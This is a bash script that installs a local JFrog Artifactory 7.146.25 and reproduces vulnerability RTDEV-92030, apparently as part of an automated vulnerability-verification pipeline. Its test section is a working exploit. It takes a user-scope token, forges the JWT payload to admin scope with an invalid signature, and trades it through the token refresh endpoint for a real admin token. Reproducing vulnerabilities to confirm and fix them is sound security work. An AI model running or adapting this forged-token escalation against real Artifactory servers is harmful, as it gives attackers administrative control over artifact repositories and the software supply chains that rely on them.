#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS/repro" "$REPRO_DIR"

cd "$ROOT"

# Configuration
ARTIFACTORY_VERSION="7.146.25"
ARTIFACTORY_HOME="/tmp/artifactory-oss-${ARTIFACTORY_VERSION}"
ARTIFACTORY_URL="http://127.0.0.1:8081/artifactory"
ADMIN_USER="admin"
ADMIN_PASS="password"
LOG_FILE="$LOGS/repro/proof.log"

echo "=== RTDEV-92030 Reproduction Script ===" | tee "$LOG_FILE"
echo "Artifactory Version: ${ARTIFACTORY_VERSION}" | tee -a "$LOG_FILE"
echo "Date: $(date)" | tee -a "$LOG_FILE"

# --- Prerequisites ---
echo "--- Installing prerequisites ---" | tee -a "$LOG_FILE"
sudo apt-get update -qq 2>&1 | tail -1
sudo apt-get install -y -qq openjdk-17-jdk socat curl jq python3 2>&1 | tail -3

# --- Download Artifactory ---
if [ ! -f "/tmp/jfrog-artifactory-oss-${ARTIFACTORY_VERSION}-linux.tar.gz" ]; then
    echo "--- Downloading Artifactory ${ARTIFACTORY_VERSION} ---" | tee -a "$LOG_FILE"
    curl -L -o "/tmp/jfrog-artifactory-oss-${ARTIFACTORY_VERSION}-linux.tar.gz" \
      "https://releases.jfrog.io/artifactory/bintray-artifactory/org/artifactory/oss/jfrog-artifactory-oss/${ARTIFACTORY_VERSION}/jfrog-artifactory-oss-${ARTIFACTORY_VERSION}-linux.tar.gz" 2>&1 | tail -3
fi

# --- Extract Artifactory ---
if [ ! -d "$ARTIFACTORY_HOME/app" ]; then
    echo "--- Extracting Artifactory ---" | tee -a "$LOG_FILE"
    cd /tmp && tar xzf "jfrog-artifactory-oss-${ARTIFACTORY_VERSION}-linux.tar.gz" 2>&1 | tail -1
fi
cd "$ROOT"

# --- Clean previous state ---
echo "--- Cleaning previous state ---" | tee -a "$LOG_FILE"
kill $(ps aux | grep -E "java.*artifactory-oss|jf-router|jf-metadata|jf-event|jf-observ|node.*bundle|socat.*804[0-9]\|socat.*8082" | grep -v grep | awk '{print $2}') 2>/dev/null || true
sleep 3

rm -rf "$ARTIFACTORY_HOME/var/data" "$ARTIFACTORY_HOME/var/work" "$ARTIFACTORY_HOME/var/log"
rm -rf "$ARTIFACTORY_HOME/var/bootstrap" "$ARTIFACTORY_HOME/var/etc/artifactory" "$ARTIFACTORY_HOME/var/etc/access/keys"
rm -f "$ARTIFACTORY_HOME/var/etc/security/master.key" "$ARTIFACTORY_HOME/var/etc/security/join.key"
mkdir -p "$ARTIFACTORY_HOME/var/data" "$ARTIFACTORY_HOME/var/work" "$ARTIFACTORY_HOME/var/log"
mkdir -p "$ARTIFACTORY_HOME/app/artifactory/tomcat/logs"

# --- Configure Artifactory ---
cat > "$ARTIFACTORY_HOME/var/etc/system.yaml" << EOF
configVersion: 1
shared:
    database:
        allowNonPostgresql: true
        type: derby
    node:
        id: art1
        ip: "127.0.0.1"
        primary: true
router:
    entrypoints:
        externalPort: 8083
EOF

# --- Start socat bridge for router cluster join ---
# The router needs to reach Access at http://127.0.0.1:8082/access/api/v1/system/ping
# but the router itself hasn't bound to 8082 yet. We bridge 8082 -> 8040 (Access HTTP)
# and set the router's external port to 8083 to avoid conflict.
echo "--- Starting socat bridge 8082->8040 ---" | tee -a "$LOG_FILE"
socat TCP-LISTEN:8082,fork,reuseaddr TCP:127.0.0.1:8040 &
SOCAT_PID=$!

# --- Start all Artifactory services ---
echo "--- Starting Artifactory services ---" | tee -a "$LOG_FILE"
export JF_PRODUCT_HOME="$ARTIFACTORY_HOME"
export JFROG_HOME="$ARTIFACTORY_HOME"
export JF_SHARED_JFROGURL="http://127.0.0.1:8082"
nohup "$ARTIFACTORY_HOME/app/bin/artifactory.sh" start > /tmp/art-start.log 2>&1 &
START_PID=$!

# --- Wait for Access service to be ready ---
echo "--- Waiting for Access service ---" | tee -a "$LOG_FILE"
for i in $(seq 1 60); do
    if curl -s --max-time 2 http://127.0.0.1:8040/access/api/v1/system/ping 2>/dev/null | grep -q "OK"; then
        echo "Access service ready after $((i*5)) seconds" | tee -a "$LOG_FILE"
        break
    fi
    sleep 5
done

# --- Start Artifactory Tomcat directly ---
# The artifactory.sh script may kill the Tomcat process. Start it directly.
echo "--- Starting Artifactory Tomcat directly ---" | tee -a "$LOG_FILE"
JAVA_HOME="$ARTIFACTORY_HOME/app/third-party/java"
TOMCAT_HOME="$ARTIFACTORY_HOME/app/artifactory/tomcat"
JAVA_OPTS="-Djf.product.home=${ARTIFACTORY_HOME} -Dartdist=zip -server -Xms512m -Xmx2g -XX:+UseG1GC"
JAVA_OPTS="$JAVA_OPTS --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED"
JAVA_OPTS="$JAVA_OPTS --add-opens java.base/java.lang.invoke=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED"
JAVA_OPTS="$JAVA_OPTS --add-opens java.base/java.nio=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED"
JAVA_OPTS="$JAVA_OPTS --add-opens java.naming/com.sun.jndi.ldap=ALL-UNNAMED"
JAVA_OPTS="$JAVA_OPTS -Dfile.encoding=UTF8 -Djava.security.egd=file:/dev/./urandom"
JAVA_OPTS="$JAVA_OPTS -Djava.util.logging.config.file=${TOMCAT_HOME}/conf/logging.properties"
JAVA_OPTS="$JAVA_OPTS -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager"
JAVA_OPTS="$JAVA_OPTS -Djdk.tls.ephemeralDHKeySize=2048 -Dorg.apache.catalina.security.SecurityListener.UMASK=0027"
JAVA_OPTS="$JAVA_OPTS --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED"
JAVA_OPTS="$JAVA_OPTS --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED"
JAVA_OPTS="$JAVA_OPTS --enable-native-access=ALL-UNNAMED"
export JAVA_HOME JAVA_OPTS

CLASSPATH="${TOMCAT_HOME}/bin/bootstrap.jar:${TOMCAT_HOME}/bin/tomcat-juli.jar"

$JAVA_HOME/bin/java $JAVA_OPTS \
  -classpath "$CLASSPATH" \
  -Dcatalina.base="${TOMCAT_HOME}" \
  -Dcatalina.home="${TOMCAT_HOME}" \
  -Djava.io.tmpdir="${ARTIFACTORY_HOME}/var/work/artifactory/tomcat/temp" \
  org.apache.catalina.startup.Bootstrap start &
TOMCAT_PID=$!

# --- Wait for Artifactory API to be ready ---
echo "--- Waiting for Artifactory API ---" | tee -a "$LOG_FILE"
API_READY=false
for i in $(seq 1 60); do
    RESP=$(curl -s --max-time 5 "${ARTIFACTORY_URL}/api/system/ping" 2>/dev/null)
    if echo "$RESP" | grep -q "OK"; then
        echo "Artifactory API ready after $((i*5)) seconds" | tee -a "$LOG_FILE"
        API_READY=true
        break
    fi
    sleep 5
done

if [ "$API_READY" != "true" ]; then
    echo "ERROR: Artifactory API did not become ready" | tee -a "$LOG_FILE"
    cat > "$REPRO_DIR/runtime_manifest.json" << 'JSON'
{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/security/token",
  "service_started": true,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": ["artifactory", "access", "router"],
  "proof_artifacts": [],
  "notes": "Artifactory API did not become ready"
}
JSON
    exit 1
fi

# --- Verify Artifactory version ---
VERSION=$(curl -s --max-time 5 "${ARTIFACTORY_URL}/api/system/version" -u "${ADMIN_USER}:${ADMIN_PASS}" 2>/dev/null | python3 -c "import sys,json; print(json.load(sys.stdin).get('version',''))" 2>/dev/null)
echo "Artifactory version: ${VERSION}" | tee -a "$LOG_FILE"

# === VULNERABILITY TEST ===
echo "" | tee -a "$LOG_FILE"
echo "=== VULNERABILITY TEST: RTDEV-92030 ===" | tee -a "$LOG_FILE"

# Step 1: Create a refreshable token with user-level scope
echo "--- Step 1: Create refreshable token with user scope ---" | tee -a "$LOG_FILE"
TOKEN_RESP=$(curl -s --max-time 10 -X POST "${ARTIFACTORY_URL}/api/security/token" \
  -u "${ADMIN_USER}:${ADMIN_PASS}" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&username=admin&scope=applied-permissions/user&refreshable=true')

ACCESS_TOKEN=$(echo "$TOKEN_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('access_token',''))" 2>/dev/null)
REFRESH_TOKEN=$(echo "$TOKEN_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('refresh_token',''))" 2>/dev/null)
ORIGINAL_SCOPE=$(echo "$TOKEN_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('scope',''))" 2>/dev/null)

echo "Original token scope: ${ORIGINAL_SCOPE}" | tee -a "$LOG_FILE"
echo "Access token length: ${#ACCESS_TOKEN}" | tee -a "$LOG_FILE"
echo "Refresh token: ${REFRESH_TOKEN}" | tee -a "$LOG_FILE"

# Decode and log original JWT claims
echo "--- Original JWT claims ---" | tee -a "$LOG_FILE"
echo "$ACCESS_TOKEN" | cut -d. -f2 | python3 -c "
import sys,base64,json
p = sys.stdin.read().strip()
p += '=' * (4 - len(p) % 4)
claims = json.loads(base64.urlsafe_b64decode(p))
print(json.dumps(claims, indent=2))
" 2>/dev/null | tee -a "$LOG_FILE"

# Step 2: Forge the JWT with admin scope
echo "" | tee -a "$LOG_FILE"
echo "--- Step 2: Forge JWT with admin scope ---" | tee -a "$LOG_FILE"
FORGED_TOKEN=$(python3 -c "
import base64, json
parts = '${ACCESS_TOKEN}'.split('.')
header = parts[0]
payload = parts[1]
padded = payload + '=' * (4 - len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(padded))
# Escalate scope to admin
claims['scp'] = 'applied-permissions/admin'
# Remove /users/ suffix from issuer (as per the attack)
iss = claims.get('iss', '')
if '/users/' in iss:
    claims['iss'] = iss.split('/users/')[0]
# Re-encode with fake signature
forged_payload = base64.urlsafe_b64encode(json.dumps(claims).encode()).decode().rstrip('=')
forged_sig = base64.urlsafe_b64encode(b'invalid-signature').decode().rstrip('=')
print('.'.join([header, forged_payload, forged_sig]))
" 2>/dev/null)

echo "Forged token length: ${#FORGED_TOKEN}" | tee -a "$LOG_FILE"
echo "--- Forged JWT claims ---" | tee -a "$LOG_FILE"
echo "$FORGED_TOKEN" | cut -d. -f2 | python3 -c "
import sys,base64,json
p = sys.stdin.read().strip()
p += '=' * (4 - len(p) % 4)
claims = json.loads(base64.urlsafe_b64decode(p))
print(json.dumps(claims, indent=2))
" 2>/dev/null | tee -a "$LOG_FILE"

# Step 3: Use the forged JWT + valid refresh token to get an admin token
echo "" | tee -a "$LOG_FILE"
echo "--- Step 3: Refresh token with forged JWT (VULNERABILITY TEST) ---" | tee -a "$LOG_FILE"
REFRESH_RESP=$(curl -s --max-time 10 -X POST "${ARTIFACTORY_URL}/api/security/token" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode "grant_type=refresh_token" \
  --data-urlencode "refresh_token=${REFRESH_TOKEN}" \
  --data-urlencode "access_token=${FORGED_TOKEN}")

NEW_ACCESS_TOKEN=$(echo "$REFRESH_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('access_token',''))" 2>/dev/null)
NEW_SCOPE=$(echo "$REFRESH_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('scope',''))" 2>/dev/null)

echo "New token scope: ${NEW_SCOPE}" | tee -a "$LOG_FILE"
echo "New access token length: ${#NEW_ACCESS_TOKEN}" | tee -a "$LOG_FILE"

echo "--- New token JWT claims ---" | tee -a "$LOG_FILE"
echo "$NEW_ACCESS_TOKEN" | cut -d. -f2 | python3 -c "
import sys,base64,json
p = sys.stdin.read().strip()
p += '=' * (4 - len(p) % 4)
claims = json.loads(base64.urlsafe_b64decode(p))
print(json.dumps(claims, indent=2))
" 2>/dev/null | tee -a "$LOG_FILE"

# Step 4: Verify privilege escalation
echo "" | tee -a "$LOG_FILE"
if echo "$NEW_SCOPE" | grep -q "admin"; then
    echo "=== VULNERABILITY CONFIRMED: RTDEV-92030 ===" | tee -a "$LOG_FILE"
    echo "Artifactory ${VERSION} accepted forged JWT with invalid signature." | tee -a "$LOG_FILE"
    echo "Original scope: ${ORIGINAL_SCOPE}" | tee -a "$LOG_FILE"
    echo "Escalated scope: ${NEW_SCOPE}" | tee -a "$LOG_FILE"
    echo "Privilege escalation from user to admin via JWT signature bypass." | tee -a "$LOG_FILE"
    VULN_CONFIRMED=true
else
    echo "=== Vulnerability NOT confirmed ===" | tee -a "$LOG_FILE"
    echo "New token scope: ${NEW_SCOPE}" | tee -a "$LOG_FILE"
    VULN_CONFIRMED=false
fi

# --- Write runtime manifest ---
echo "--- Writing runtime manifest ---"
if [ "$VULN_CONFIRMED" = "true" ]; then
    cat > "$REPRO_DIR/runtime_manifest.json" << JSON
{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/security/token (grant_type=refresh_token with forged JWT)",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["artifactory-oss-7.146.25", "access", "router", "derby-db"],
  "proof_artifacts": [
    "logs/repro/proof.log"
  ],
  "notes": "RTDEV-92030 confirmed: forged JWT with admin scope and invalid signature accepted by token refresh endpoint"
}
JSON
    echo "Vulnerability confirmed - exiting 0"
    exit 0
else
    cat > "$REPRO_DIR/runtime_manifest.json" << JSON
{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/security/token",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["artifactory-oss-7.146.25", "access", "router", "derby-db"],
  "proof_artifacts": ["logs/repro/proof.log"],
  "notes": "Vulnerability not confirmed - forged JWT was rejected"
}
JSON
    echo "Vulnerability not confirmed - exiting 1"
    exit 1
fi
